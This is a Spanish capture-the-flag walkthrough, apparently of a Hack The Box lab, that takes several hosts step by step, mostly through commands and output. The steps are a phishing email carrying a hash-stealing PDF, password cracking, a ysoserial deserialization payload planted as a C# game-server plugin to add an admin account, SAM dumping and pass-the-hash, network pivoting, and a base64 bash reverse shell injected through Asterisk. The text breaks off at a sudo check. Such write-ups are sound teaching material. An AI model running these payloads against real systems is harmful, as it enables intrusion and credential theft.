Inner Orion Arm
ODYSSEY{k4r3Ful_WI7h_pDf_FiL32}
Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos la mayoria parecen ser los de un windows
❯ nmap 10.13.38.21
Nmap scan report for 10.13.38.21
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
110/tcp open pop3
135/tcp open msrpc
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
587/tcp open submission
5985/tcp open wsman
28016/tcp open unknown
28083/tcp open unknown
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
El puerto smb esta abierto, podemos el nombre de la maquina que es online pero no pertenece a ningun dominio sino que es una maquina windows independiente
❯ crackmapexec smb 10.13.38.21
SMB 10.13.38.21 445 ONLINE [*] Windows 10.0 Build 17763 x64 (name:ONLINE) (domain:online) (signing:False) (SMBv1:False)
En la pagina principal en el apartado de informacion nos hablan sobre servidores de rust y mods para oxide mejorando rendimiento ademas de algunas imagenes
La primera imagen llama la atencion y es que de fondo ademas de la cmd corriendo vemos un acceso directo a Adobe Reader 9 por lo que podria estar instalado
Un poco mas abajo nos encontramos con un correo de soporte invoice@odyssey.htb
En el siguiente articulo nos muestran una posible forma de obtener una peticion y un hash NTLMv2 a través de un pdf en versiones antiguas de Adobe y Foxit, asi que usando BadPDF podemos crear un pdf malicioso indicando nuestro host e interfaz
❯ sudo python2 badpdf.py
______ __ _______ ______ ________
|_ _ \ | ] |_ __ \|_ _ `.|_ __ |
| |_) | ,--. .--.| | ______ | |__) | | | `. \ | |_ \_|
| __'. `'_\ : / /'`' ||______|| ___/ | | | | | _|
_| |__) |// | |,| \__/ | _| |_ _| |_.' /_| |_
|_______/ '-;__/ '.__.;__] |_____| |______.'|_____|
Author : Deepu TV ; Alias DeepZec
=============================================================
Responder detected :/usr/sbin/responder
Please enter Bad-PDF host IP:
10.10.14.10
Please enter output file name:
test.pdf
Please enter the interface name to listen(Default eth0):
tun0
[*] Starting Process.. [*]
Bad PDF test.pdf created
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
[+] Listening for events...
Ya que tenemos un correo, a traves de smtp podemos enviar un correo de phishing a invoice adjuntandole el pdf incitando a que lo abra y nos envie la peticion
❯ swaks --to invoice@odyssey.htb --from test@odyssey.htb --header "Subject: Problem on the server" --server 10.13.38.21 --attach test.pdf
=== Trying 10.13.38.21:25...
=== Connected to 10.13.38.21.
<- 220 ONLINE ESMTP
-> EHLO kali
<- 250-ONLINE
<- 250-SIZE 20480000
<- 250-AUTH LOGIN
<- 250 HELP
-> MAIL FROM:<test@odyssey.htb>
<- 250 OK
-> RCPT TO:<invoice@odyssey.htb>
<- 250 OK
-> DATA
<- 354 OK, send.
-> To: invoice@odyssey.htb
-> From: test@odyssey.htb
-> Subject: Problem on the server
-> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
->
-> .
<- 250 Queued (1.168 seconds)
-> QUIT
<- 221 goodbye
=== Connection closed with remote host.
Despues de unos segundos obtenemos una autenticacion como el usuario elpenor que se traduce en responder a un hash de este usuario en formato NTLMv2
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.13.38.21
[SMB] NTLMv2-SSP Username : ONLINE\elpenor
[SMB] NTLMv2-SSP Hash : elpenor::ONLINE:1122334455667788:76648058671B85ABBFACBA7C04CB33A7:0101000000000000004DCAC7B5DAD901FDCC4AA06846D3BE000000000200080053004A003000470001001E00570049004E002D005100320046004D005200420037004F0059005300310004003400570049004E002D005100320046004D005200420037004F005900530031002E0053004A00300047002E004C004F00430041004C000300140053004A00300047002E004C004F00430041004C000500140053004A00300047002E004C004F00430041004C0007000800004DCAC7B5DAD90106000400020000000800300030000000000000000000000000200000B77744339FDFDD27F36FF0EA8EDEA82420E687A41F0722354674D948AC7186640A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0034000000000000000000
Sin embargo la contraseña es demasiado debil y la logramos crackear usando john
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
superman (elpenor)
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Al comprobar la contraseña de elpenor con crackmapexec nos encontramos con que es valida tanto para el servicio smb como para winrm ya que devuelve Pwned!
❯ crackmapexec smb 10.13.38.21 -u elpenor -p superman
SMB 10.13.38.21 445 ONLINE [*] Windows 10.0 Build 17763 x64 (name:ONLINE) (domain:ONLINE) (signing:False) (SMBv1:False)
SMB 10.13.38.21 445 ONLINE [+] ONLINE\elpenor:superman
❯ crackmapexec winrm 10.13.38.21 -u elpenor -p superman
SMB 10.13.38.21 5985 ONLINE [*] Windows 10.0 Build 17763 (name:ONLINE) (domain:ONLINE)
HTTP 10.13.38.21 5985 ONLINE [*] http://10.13.38.21:5985/wsman
HTTP 10.13.38.21 5985 ONLINE [+] ONLINE\elpenor:superman (Pwn3d!)
Podemos simplemente conectarnos con evil-winrm, obtener una shell y leer la flag
❯ evil-winrm -i 10.13.38.21 -u elpenor -p superman
PS C:\Users\elpenor\Documents> whoami
online\elpenor
PS C:\Users\elpenor\Documents> type ..\Desktop\flag.txt
ODYSSEY{k4r3Ful_WI7h_pDf_FiL32}
PS C:\Users\elpenor\Documents>
Strange quark
ODYSSEY{Ded1CA7eD_rU57_5ERVeR}
Navegando entre directorios encontramos uno llamado rustserver, el cual dentro tiene otro llamado oxide, del cual se nos hablaba antes en un apartado de la web
PS C:\rustserver\oxide> dir
Directory: C:\rustserver\oxide
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/14/2021 7:05 AM config
d----- 3/14/2021 7:19 AM data
d----- 3/14/2021 7:05 AM lang
d----- 5/6/2022 2:42 AM logs
d----- 7/24/2021 1:12 PM plugins
-a---- 3/14/2021 7:05 AM 431 oxide.config.json
PS C:\rustserver\oxide>
Curiosamente en el directorio de plugins podemos escribir por lo que podriamos subir un plugin escrito en C# ayudandonos de la documentacion para crearlo
PS C:\rustserver\oxide\plugins> icacls .
. BUILTIN\Users:(OI)(CI)(W)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
PS C:\rustserver\oxide\plugins>
Para aprovecharnos de esto crearemos una data serializada en base64 que cree un usuario pwned que sea administrador, para ello usaremos ysoserial indicando el formato BynaryFormatter que usaremos, ademas que lo queremos en base64
PS C:\CTF\ysoserial> .\ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegateMono -o base64 -c "net user pwned password123# /add && net localgroup Administrators pwned /add"
AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAE8vYyBuZXQgdXNlciBwd25lZCBwYXNzd29yZDEyMyMgL2FkZCAmJiBuZXQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9ycyBwd25lZCAvYWRkBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCQAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgoAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GCwAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBgwAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYNAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg4AAAAFU3RhcnQJDwAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkOAAAACQwAAAAJDQAAAAYTAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhQAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEPAAAACAAAAAkKAAAACQsAAAAKCQwAAAAJDQAAAAkOAAAACgs=
PS C:\CTF\ysoserial>
Basandonos en el ejemplo de la documentación podemos crear un codigo simple en C# que interprete nuestra data serializada a traves del objeto BinaryFormatter
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
namespace Oxide.Plugins
{
[Info("Epic Stuff", "Unknown Author", "0.1.0")]
[Description("Makes epic stuff happen")]
class EpicStuff : CovalencePlugin
{
private void Init()
{
byte[] payload = Convert.FromBase64String("AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAE8vYyBuZXQgdXNlciBwd25lZCBwYXNzd29yZDEyMyMgL2FkZCAmJiBuZXQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9ycyBwd25lZCAvYWRkBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCQAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgoAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GCwAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBgwAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYNAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg4AAAAFU3RhcnQJDwAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkOAAAACQwAAAAJDQAAAAYTAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhQAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEPAAAACAAAAAkKAAAACQsAAAAKCQwAAAAJDQAAAAkOAAAACgs=");
BinaryFormatter formatter = new BinaryFormatter();
Stream stream = new MemoryStream(payload);
object obj = formatter.Deserialize(stream);
}
}
}
Simplemente nos queda subir el archivo .cs al directorio plugins de oxide y esperar a que se ejecute, podemos subirlo usando la funcion upload de evil-winrm
PS C:\rustserver\oxide\plugins> upload EpicStuff.cs
Info: Uploading EpicStuff.cs to C:\rustserver\oxide\plugins\EpicStuff.cs
Data: 4352 bytes of 4352 bytes copied
Info: Upload successful!
PS C:\rustserver\oxide\plugins>
Despues de unos segundos se carga el plugin y se interpreta nuestro payload, y por consecuencia se crea el usuario pwned que pertenece al grupo Administrators
PS C:\rustserver\oxide\plugins> net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator DefaultAccount elpenor
Guest pwned sshd
WDAGUtilityAccount
The command completed with one or more errors.
PS C:\rustserver\oxide\plugins> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
pwned
The command completed successfully.
PS C:\rustserver\oxide\plugins>
Como el usuario es administrador nos devuelve un Pwn3d! en crackmapexec por lo que podemos dumpear la sam y ver todos los hashes NT de los usuarios
❯ crackmapexec smb 10.13.38.21 -u pwned -p password123#
SMB 10.13.38.21 445 ONLINE [*] Windows 10.0 Build 17763 x64 (name:ONLINE) (domain:ONLINE) (signing:False) (SMBv1:False)
SMB 10.13.38.21 445 ONLINE [+] ONLINE\pwned:password123# (Pwn3d!)
❯ crackmapexec smb 10.13.38.21 -u pwned -p password123# --sam
SMB 10.13.38.21 445 ONLINE [*] Windows 10.0 Build 17763 x64 (name:ONLINE) (domain:ONLINE) (signing:False) (SMBv1:False)
SMB 10.13.38.21 445 ONLINE [+] ONLINE\pwned:password123# (Pwn3d!)
SMB 10.13.38.21 445 ONLINE [*] Dumping SAM hashes
SMB 10.13.38.21 445 ONLINE Administrator:500:aad3b435b51404eeaad3b435b51404ee:c606623dc66bad2c670d402d4a33d2b7:::
SMB 10.13.38.21 445 ONLINE Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.13.38.21 445 ONLINE DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.13.38.21 445 ONLINE WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:b2aee3361c843009143be1a935d8db9b:::
SMB 10.13.38.21 445 ONLINE elpenor:1001:aad3b435b51404eeaad3b435b51404ee:72f5cfa80f07819ccbcfb72feb9eb9b7:::
SMB 10.13.38.21 445 ONLINE sshd:1002:aad3b435b51404eeaad3b435b51404ee:696df4f224281d855e7716d56acc2bc8:::
SMB 10.13.38.21 445 ONLINE pwned:1003:aad3b435b51404eeaad3b435b51404ee:e5abfbc0410c5ce37bae2276dee52aaf:::
Podemos simplemente conectarnos con evil-winrm, obtener una shell y leer la flag
❯ evil-winrm -i 10.13.38.21 -u Administrator -H c606623dc66bad2c670d402d4a33d2b7
PS C:\Users\Administrator\Documents> whoami
online\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\flag.txt
ODYSSEY{Ded1CA7eD_rU57_5ERVeR}
PS C:\Users\Administrator\Documents>
Entanglement
ODYSSEY{THE_tElEPH0Ne_4_New_M4cHINe}
Al hacer un ipconfig nos damos cuenta que tenemos otra interfaz de red en la cual nuestra direccion IPv4 es la 192.168.21.10 pero puede haber mas equipos
PS C:\Users\Administrator\Documents> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : htb
IPv6 Address. . . . . . . . . . . : dead:beef::17
IPv6 Address. . . . . . . . . . . : dead:beef::a04b:6d7c:3355:828d
Link-local IPv6 Address . . . . . : fe80::a04b:6d7c:3355:828d%6
IPv4 Address. . . . . . . . . . . : 10.13.38.21
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:deb9%6
10.13.38.2
Ethernet adapter Ethernet1:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::1521:9a68:91c:f431%4
IPv4 Address. . . . . . . . . . . : 192.168.21.10
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.21.2
PS C:\Users\Administrator\Documents>
Para tener conexion desde nuestro equipo podemos usar ligolo-ng usando el agent para conectarnos a nuestro equipo por el puerto 11601 que nos marca el proxy
PS C:\Users\Administrator\Documents> upload agent.exe
Info: Uploading agent.exe to C:\Users\Administrator\Documents\agent.exe
Data: 6460072 bytes of 6460072 bytes copied
Info: Upload successful!
PS C:\Users\Administrator\Documents> .\agent.exe -connect 10.10.14.10:11601 -ignore-cert
En el proxy obtenemos una sesión, la indicamos e iniciamos el tunel con start
❯ ./proxy -selfcert
WARN[0000] Using automatically generated self-signed certificates (Not recommended)
INFO[0000] Listening on 0.0.0.0:11601
__ _ __
/ / (_)___ _____ / /___ ____ ____ _
/ / / / __ `/ __ \/ / __ \______/ __ \/ __ `/
/ /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/ /_/ /_/\__, /
/____/ /____/
Made in France ♥ by @Nicocha30!
ligolo-ng »
INFO[0051] Agent joined. name="ONLINE\\Administrator@online" remote="10.13.38.21:49679"
ligolo-ng » session
? Specify a session : 1 - ONLINE\Administrator@online - 10.13.38.21:49679
[Agent : ONLINE\Administrator@online] » start
INFO[0062] Starting tunnel to ONLINE\Administrator@online
[Agent : ONLINE\Administrator@online] »
Agregamos el segmento 192.168.21.0/24 a la interfaz de ligolo y ahora tenemos conexión con todos los equipos de la interfaz, podemos comprobarlo con un ping
❯ sudo ip route add 192.168.21.0/24 dev ligolo
❯ ping -c1 -w1 192.168.21.10
PING 192.168.21.10 (192.168.21.10) 56(84) bytes of data.
64 bytes from 192.168.21.10: icmp_seq=1 ttl=64 time=167 ms
--- 192.168.21.10 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 167.279/167.279/167.279/0.000 ms
A través de ping logramos encontrar otros 3 hosts activos, podemos escanear los puertos con nmap de estos, desde el host .11 hasta la .13 de esta interfaz
❯ nmap 192.168.21.11-13
Nmap scan report for 192.168.21.11
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
3000/tcp open ppp
Nmap scan report for 192.168.21.12
PORT STATE SERVICE
3000/tcp open ppp
5039/tcp open unknown
8080/tcp open http-proxy
25000/tcp open icl-twobase1
Nmap scan report for 192.168.21.13
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
Iniciemos por la web de la .12 en el puerto 8080 el cual simplemente corre gogs
Sabemos la existencia de un usuario llamado elpenor, al revisar si tiene una cuenta en gogs nos aparece como existente y nos muestra un repositorio publico
El repositorio es el codigo fuente para un bot para rocket chat que corre en el 3000
Tambien podemos ver toda la actividad publica del usuario elpenor, como commits
En uno de los commits encontramos un enlace el cual te lleva a un registro de invitacion al que si un usuario entra puede registrarse en rocket chat
Entramos al enlace que nos comparten y registramos un usuario cualquiera, como test donde obtenemos acceso a un rocket chat donde hay un foro llamado general
Otra cosa interesante es que en los problemas elpenor solicita la creacion de un servidor voip, y pide que se la pasen a aeolus con la sintaxis ip <ip address>
Con netsh redirigimos todo el trafico entrante del puerto 5038 donde escucha voip a nuestro host para asi poder recibir la peticion desde nuestra maquina
PS C:\Users\Administrator\Documents> netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=5038 connectaddress=10.10.14.10 connectport=5038
PS C:\Users\Administrator\Documents>
Enviamos la ip 192.168.21.10 que es la del windows al bot aeolus en el chat y en nuestra maquina atacante recibimos la peticion, la cual solo intenta autenticarse
Ya que nosotros recibimos la autenticacion interceptamos las credenciales de este
❯ netcat -lvnp 5038
Listening on 0.0.0.0 5038
Connection received on 10.13.38.21
Action: login
Username: aeolus
Secret: P7xJ6y6x
ActionID: __auth_1693366373541__
El puerto 5038 de la maquina esta cerrado pero el 5039 esta abierto que es ssl, podemos crear un archivo commands.txt con la autenticacion que se realizaba
Action: login
Username: aeolus
Secret: P7xJ6y6x
Ahora nos conectamos el puerto 5039 de la maquina con openssl y enviamos el contenido del commands.txt como input, recibimos un Authentication accepted
❯ cat commands.txt | openssl s_client -quiet -connect 192.168.21.12:5039
Response: Success
Message: Authentication accepted
Event: FullyBooted
Privilege: system,all
Uptime: 4251
LastReload: 4251
Status: Fully Booted
Realizamos el mismo proceso pero esta vez le agregamos un help como comando
Action: login
Username: aeolus
Secret: P7xJ6y6x
Action: command
Command: help
Encontramos varias funciones, entre ellas dialplan add extension que agregaremos al archivo commands.txt para asi ver la sintaxis que se necesita para poder usarla
Action: login
Username: aeolus
Secret: P7xJ6y6x
Action: command
Command: dialplan add extension
En los privilegios encontramos system,all que es lo que podemos usar, ademas podemos ver los argumentos que esta funcion necesita para ejecutarse
❯ cat commands.txt | openssl s_client -quiet -connect 192.168.21.12:5039
Response: Success
Message: Authentication accepted
Event: FullyBooted
Privilege: system,all
Uptime: 4356
LastReload: 4356
Status: Fully Booted
Response: Error
Message: Command output follows
Output: Usage: dialplan add extension <exten>,<priority>,<app> into <context> [replace]
Output:
Output: app can be either:
Output: app-name
Output: app-name(app-data)
Output: app-name,<app-data>
Output:
Output: This command will add the new extension into <context>. If
Output: an extension with the same priority already exists and the
Output: 'replace' option is given we will replace the extension.
Output:
Output: Example: dialplan add extension 6123,1,Dial,IAX/216.207.245.56/6123 into local
Output: Now, you can dial 6123 and talk to Markster :)
Podemos usar system, pero para poder enviarnos una shell encodearemos en base64 un clasico oneliner en bash que lo enviara a la .10 en el puerto 4444
❯ echo 'bash -c "bash -i >& /dev/tcp/192.168.21.10/4444 0>&1"' | base64
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjEwLzQ0NDQgMD4mMSIK
Ahora con crearemos extensión test bajo el contexto pwned que se encargara de ejecutar con system nuestro payload, seguido de llamar a la extension test
Action: login
Username: aeolus
Secret: P7xJ6y6x
Action: command
Command: dialplan add extension test,1,system(echo\ YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjEwLzQ0NDQgMD4mMSIK|base64\ -d|bash), into pwned replace
Action: command
Command: originate local/test@pwned extension test@pwned
En el windows redirigimos el trafico que entre por el puerto 4444 a nuestro host
PS C:\Users\Administrator\Documents> netsh interface portproxy add v4tov4 listenaddress=192.168.21.10 listenport=4444 connectaddress=10.10.14.10 connectport=4444
PS C:\Users\Administrator\Documents>
Finalmente enviamos los comandos a voip y el interpretarse el payload con system recibimos una shell como el usuario asterisk en la .12 donde podemos leer la flag
❯ cat commands.txt | openssl s_client -quiet -connect 192.168.21.12:5039
❯ netcat -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.13.38.21
asterisk@odyssey:~$ id
uid=112(asterisk) gid=117(asterisk) groups=117(asterisk)
asterisk@odyssey:~$ hostname -I
192.168.21.12 172.17.0.1 10.1.148.128
asterisk@odyssey:~$ cat /opt/flag.txt
ODYSSEY{THE_tElEPH0Ne_4_New_M4cHINe}
asterisk@odyssey:~$
Can you see a singularity?
ODYSSEY{W3_4LL_4r3_p4r7_Of_4_cluS73R}
Mirando la version de sudo encontramos la 1.38.1, la cual es un poco antigua
asterisk@odyssey:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
